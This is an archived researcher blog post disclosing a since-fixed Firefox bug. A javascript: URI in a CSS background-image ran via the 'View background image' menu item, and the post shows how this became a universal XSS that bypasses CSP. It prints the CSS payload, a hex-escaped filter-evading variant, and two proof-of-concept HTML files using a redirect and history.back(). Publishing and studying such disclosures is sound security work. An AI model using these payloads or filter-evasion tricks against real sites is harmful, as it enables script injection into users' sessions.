Firefox uXSS and CSS XSS

Firefox uXSS and CSS XSS - Abdulrahman Al-Qabandi, leucosite.com.

- Published: date not stated
- Original: <https://leucosite.com/Firefox-uXSS-and-CSS-XSS/>
- Preserved from: https://leucosite.com/Firefox-uXSS-and-CSS-XSS/ (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Firefox uXSS and CSS XSS - Abdulrahman Al-Qabandi

Firefox uXSS and CSS XSS

An old bug that was first found back in 2006 came back to visit. This regression brought back very old XSS vectors, specifically, CSS based XSS. Originally this was marked low severity, but not soon after did I manage to turn it into a uXSS making it high severity. Here's how.

The regression

The `javascript:` URI scheme is a neat way to execute javascript using a URL. Whether it be in an anchor tag, iframe or bookmark. But did you know that once upon a time, you could execute javascript URI through an image source? This is a very old XSS vector that affected mostly IE back in the early 2000s. This required the user to open the context menu and click on `'View image'`. But what about other context menu items?

XSS through CSS

Mozilla employee Jonathan Kingston pointed out that the `View background image` context menu item was affected as well. This meant that we can use pure CSS to perform an XSS!

```
<style>img{background-image:url('javascript:alert(location)')}</style>

To further evade any XSS filters:

<style>*{background-image:url('\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\6C\6F\63\61\74\69\6F\6E\29')
```

Turning it into uXSS

One of the interesting behaviors of context menus is that once you open it, it will persist once you navigate to a different website. What's weirder is that if you, for example, open the context menu from `'a.com'` and then the browser redirects to `'b.com'`, you will notice that when you click on `View source` it will open `'view-source:b.com'` which is the current window. So, even though you open the context menu, it will execute on whatever website you are on despite origin. So to set this up, we ask a user to click a button that opens the cross origin 'victim' website. After that, we will redirect to our website populating navigation history with our target website. Finally, we listen to when a user opens the context menu using `'oncontextmenu'` and execute `'history.back()'` taking us to the target website. Once the user clicks `View background image` javascript is executed. Interestingly, this acts like a bookmark which means it bypasses CSP and noscript (a non-JS PoC can be done.)
xssSetup.html (I am using `https://addons.mozilla.org/%00 to get a relatively quicker loding page, not required.)

```
<button id="qbutt">click me</button>

<script>
var qwin;

qbutt.onclick=e=>{
	qwin=open('https://addons.mozilla.org/%00','qab');

	setTimeout(function(){
		open('imgXss.html','qab')
	},1000)
}
</script>
```

imgXss.html

```
<style>*{background-image:url('javascript:alert(location)')}</style>

<b> Right click, wait for redirection then click 'view background image'</b>

<script>
window.oncontextmenu=e=>{
        setTimeout("history.back()",100)
}
</script>
```

Video:

Mozilla swiftly fixed this issue and so it no longer works. But it sure was a fun find. `

References:

The report: https://bugzilla.mozilla.org/show_bug.cgi?id=1465160